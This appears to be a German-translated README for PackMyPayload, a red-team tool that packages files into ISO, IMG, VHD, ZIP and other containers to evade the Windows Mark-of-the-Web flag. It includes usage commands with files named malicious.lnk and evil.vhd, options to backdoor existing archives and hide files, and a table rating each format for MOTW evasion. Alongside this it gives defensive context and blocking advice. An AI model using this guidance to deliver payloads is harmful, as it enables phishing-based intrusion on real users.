
Ein PoC, der Payloads in Ausgabecontainer verpackt, um das Mark-of-the-Web-Flag zu umgehen und die Risiken im Zusammenhang mit Container-Dateiformaten aufzuzeigen. Unterstützt: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX
PackMyPayload – Aufkommende Bedrohung durch containerisierte SchadsoftwareWeiter zu unterstützte Formate
Dieses Tool nimmt eine Datei oder ein Verzeichnis als Eingabe und bettet sie in eine Ausgabedatei ein, die als Archiv/Container fungiert. Es kann als Proof-of-Concept für das aufkommende Risiko von Container-Dateiformaten mit eingebetteter Schadsoftware dienen, sowie als Helfer für professionelle Red-Team-Operatoren zur Schärfung ihrer Initial-Access-Manöver.
Gegenwärtig ist bekannt, dass Bedrohungsakteure ihre Schadsoftware in verschiedenen Container-Dateiformaten schmuggeln, um nur einige zu nennen:
7zipzipISOIMGSie tun dies, um ihre Payloads an Datei-Inhaltscannern vorbeizuschmuggeln, aber vor allem, um das Mark-of-the-Web-Flag auf ihren Dateien zu vermeiden. Es gibt verschiedene Motive, warum Gegner kein MOTW auf ihren Dateien haben wollen: Geschützte Ansicht in Microsoft Office war schon immer eines davon.
Sollten sie ihren Opfern eine Container-Datei bereitstellen, könnte eine Grundlage für die Deaktivierung von VBA-Makros in aus dem Internet stammenden Office-Dokumenten umgangen werden.
Am 7. Februar gab Microsoft eine Standardkonfigurationsänderung bekannt, um VBA-Makros aus dem Internet zu blockieren. Dies ist ein unglaublicher Schritt zur Härtung der Basiskonfiguration des Benutzer-Arbeitsplatzes und der darin installierten Client-Software. Zugegebenermaßen überfällig, aber ein wichtiger Schritt, der die typischen Windows+Office-Installationen drastisch positiv beeinflusst.
Das implementierte Verhalten wird dadurch erklärt, dass Makro-fähige Office-Dokumente anhand des MOTW-Flags (Mark of the Web) unterschieden werden. Dieses Flag fungiert als kontaminierter Label, der Software-Clients (Browser, Mail-Clients, Dateiarchivierer usw.) zur Verfügung steht, um Dateien aus nicht vertrauenswürdigen Bereichen wie dem Internet zu kennzeichnen.
Outflank hat bereits 2020 mehr Licht auf MOTW geworfen, indem sie Bereiche aufzeigten, in denen das MOTW-Flag nicht einheitlich weitergegeben wird. Diese Bereiche dienen als Sicherheitslücke und werden seit Jahren von Bedrohungsakteuren missbraucht.
Ihre Forschung ergab, dass einige Container-Dateiformate – nämlich ISO, VHD/VHDX – das MOTW-Kontaminierungs-Flag beim automatischen Mounten oder Extrahieren nicht auf innere Dateien übertragen. Darüber hinaus kann Windows 8+ diese Formate beim Doppelklick automatisch öffnen, was sie zu berüchtigten Infektionsüberträgern macht, die möglicherweise die Rolle von MOTW als Sicherheitsmaßnahme entwerten.
Lassen Sie uns zeigen, wie das Mark of the Web-Flag in der Praxis aussieht:

Nach dem Herunterladen einer Datei klicken Sie mit der rechten Maustaste darauf und überprüfen Sie ihre Eigenschaften.
Sie sehen eine Meldung, die Sie auffordert, die Datei zu entsperren, da sie aus einer nicht vertrauenswürdigen Zone stammt:

Diese Information wird im NTFS-ADS (Alternate Data Stream) namens Zone.Identifier gespeichert, der wie folgt aussieht:

Die ZoneId=3 spielt die Rolle der Markierung einer Datei als kontaminiert.
Mit PackMyPayload.py platzieren Sie die Datei einfach mit einem Befehl in ein ISO-Joliet-Disk:
PS> py PackMyPayload.py 7z2107-x64.exe 7z2107-x64.iso

Nachdem Sie die ISO-Datei erstellt haben, imitieren Sie einen HTTP-Server mit Python:
PS> py -m http.server 80
und laden Sie dann die ISO-Datei mit Ihrem Browser herunter.

Wenn Sie die Eigenschaften dieser ISO-Datei überprüfen, sehen Sie, dass sie mit dem MOTW-Flag markiert ist.

Allerdings ist die innere 7zip-Installer-EXE-Datei nicht MOTW-markiert!

Wir nutzen die Gelegenheit, dass die Aufmerksamkeit der Branche auf die mutige Entscheidung von Microsoft gerichtet ist, VBA-Makros zu blockieren. Als professionelle Sicherheitsforscher, die größten Wert auf die Erhöhung der Widerstandsfähigkeit der Technologien der Welt gegen ihren Missbrauch legen, möchten wir folgende Einsicht in die aktuellen TTPs von Bedrohungsakteuren einbringen:
Bedrohungsakteure sind sich der Auswirkungen von MOTW auf ihre Phishing-Payloads sehr bewusst. Sie haben sich schon vor langer Zeit angepasst und schmuggeln jetzt ihre bösartigen Programme in Containern. Zu den am häufigsten beobachteten gehören ISO, IMG, CAB.
Ich veröffentliche dieses Tool jetzt, um die Dynamik zu erhöhen, die durch Microsofts Position aufgebaut wurde, und um die Diskussion über diese Umgehungswege zu intensivieren.
Es wird empfohlen, Dateien mit den oben aufgeführten Erweiterungen zu isolieren (und/oder zu blockieren), wenn sie aus nicht vertrauenswürdigen Zonen stammen und wo immer anwendbar:
Das veröffentlichte Tool wird hoffentlich mehr Red Teams in die Lage versetzen, die diskutierten Risiken zu simulieren und ihnen helfen, Erkennungslücken in den Abwehrsystemen ihrer Partner leichter zu identifizieren.
Dieses Skript bietet folgende Leckereien und Goodies:
Unterstützte Formate:
--zip-noreadonly wird angegeben.cmd> pip3 install -r requirements.txt
PS> py PackMyPayload.py C:\my\dir malicious.iso -v
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.2.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
[.] Packaging input file to output .iso (iso)...
Burning files onto ISO:
Adding file: //malicious.lnk
Adding file: //malicious.docm
[INFO] [+] File packaged into ISO.
[INFO] Successfully packed input file.
[+] Generated file written to (size: 69632): malicious.iso
DISKPART Administratorzugriff auf physische Geräteobjekte/Namensräume benötigt. Die beste Erfahrung erzielt man, wenn man das Skript in Windows Terminal (wt) oder ConEmu ausführt, da diese ANSI-Farben unterstützen. Andernfalls, falls die Ausgabe schlecht aussieht, deaktivieren Sie diese Farben mit der -N-Flagge:PS> py PackMyPayload.py .\evil.lnk .\evil.vhd -v -N
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.2.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
[.] Packaging input file to output .vhd (vhd)...
[INFO] Drive letters currently occupied:
X
C
Z
D
[INFO] Will create VHD of size: 1024MB (Dynamic)
[INFO] Will assign VHD letter : V:
[INFO] Will format VHD with : FAT32
[INFO] Creating VHD file...
[+] Created & mounted VHD file on V:\
[.] Packing files into created VHD...
[INFO] Packaged file:
[INFO] evil.lnk => V:\
[.] Detaching VHD file...
[+] Detached VHD file from V:\
[INFO] [+] File packaged into VHD.
[INFO] Successfully packed input file.
[+] Generated file written to (size: 6311936): evil.vhd
usage:
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.3.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
Usage: PackMyPayload.py [options] <infile> <outfile>
options:
-h, --help show this help message and exit
Required arguments:
infile Input file/directory to be packaged into output archive/container
outfile Output file with extension pointing at output format
Options:
-v, --verbose Verbose mode.
-d, --debug Debug mode.
-N, --nocolor Dont use colors in text output.
-i BACKDOOR, --backdoor BACKDOOR
Instead of generating blank new output container/archive, will backdoor existing input one.
-n NAME, --filename NAME
Package input file into archive/container under this filename (may contain relative path).
-p PASSWORD, --password PASSWORD
If output archive/container format supports password protection, use this password to protect
output file.
--out-format {zip,7z,iso,img,cab,pdf,vhd,vhdx}
Explicitely define output format disregarding output file's extension. Can be one of
following: zip, 7z, iso, img, cab, pdf, vhd, vhdx
-H HIDE, --hide HIDE (Supported in ISO/IMG, ZIP) Set hidden attribute on file(s). Cannot be repeated, only comma-
separated. Example: --hide icon.ico,evil.exe . Supports wildcards: --hide icon?.*
ZIP specific options:
--zip-noreadonly DISABLE ZIP MOTW bypass that is used by default. By default, PackMyPayload marks Office files
as Read-Only making ZIP software unable to set MOTW flag on them when extracted. This option
disables that behavior.
VHD specific options:
--vhd-size SIZE VHD dynamic size in MB. Default: 1024
--vhd-letter LETTER Drive letter where to mount VHD drive. Default: will pick unused one at random.
--vhd-filesystem FS Filesystem to be used while formatting VHD. Default: FAT32. Supported: fat, fat32, ntfs
=====================================================
Supported container/archive formats:
- zip
- 7z
- iso
- img
- cab
- pdf
- vhd
- vhdx
=====================================================
Unterstützung für MSI-Dateien hinzufügen
Einbetten von Dateien in MS Office 2007+-Dokumente: word -> embeddings -> oleObject1.bin (OLE-Stream) + anpassen
Unterstützung für andere exotische Archivformate in Betracht ziehen (nicht wirklich mit MOTW kompatibel oder von Windows standardmäßig unterstützt):
tarcpiopaxxararmtreeshartarcpgzuuIch bitte Sie höflich, die folgende Zeile laut und so schnell wie möglich vor einem Spiegel zu lesen:
py Pack My Payload dot py
Manche sagen, der Spruch beschwört uralte DAEMONen und Schafe ( ͡~ ͜ʖ ͡°)
Ein Applaus und Dankeschön an die folgenden Mitwirkenden, die zur Verbesserung dieses Tools beigetragen haben:
--hide-Flag zum Verstecken von Dateien in ISO/IMG-Containern hinzugefügt--hide-Flag behobenDieses und andere Projekte sind das Ergebnis schlafloser Nächte und viel harter Arbeit. Wenn Ihnen gefällt, was ich tue, und Sie schätzen, dass ich immer etwas an die Community zurückgebe, Erwägen Sie, mir einen Kaffee zu kaufen (oder besser ein Bier) um einfach Danke zu sagen! 💪
Mariusz Banach / mgeeky, (@mariuszbit)
<mb [at] binary-offensive.com>
| Format | Entfernt MOTW? | Windows-Standardunterstützung? | Erhöhte Rechte erforderlich? | Anmerkungen |
|---|
Zip | Nein/Ja* | Ja | Nein | (MOTW entfernt mit CVE-2022-41091) |
7zip | Teilweise | Nein | Nein | MOTW nur bei manueller Dateiextraktion entfernt |
ISO | Ja | Ja | Nein | |
IMG | Ja | Ja | Nein | |
PDF | ? | Ja | Nein | Hängt von der JavaScript-Unterstützung im PDF-Reader ab |
CAB | Nein | Ja | Nein | Erfordert einige zusätzliche Klicks auf der Opferseite |
VHD | Ja | Ja | Ja | Dieses Skript kann derzeit keine Verzeichnisse erstellen |
VHDX | Ja | Ja | Ja | Dieses Skript kann derzeit keine Verzeichnisse erstellen |
lhaWinZip Pro unterstützt auch die Extraktion der folgenden Formate – möglicherweise lohnt es sich, auch diese hinzuzufügen:
B64, BHX, BZ, BZ2, GZ, HQX, LHA, LZH, MIM, TAZ, TBZ,TBZ2, TGZ, TXZ, TZ, UU, UUE, VMDK, XXE, XZ, Z, ZIPX,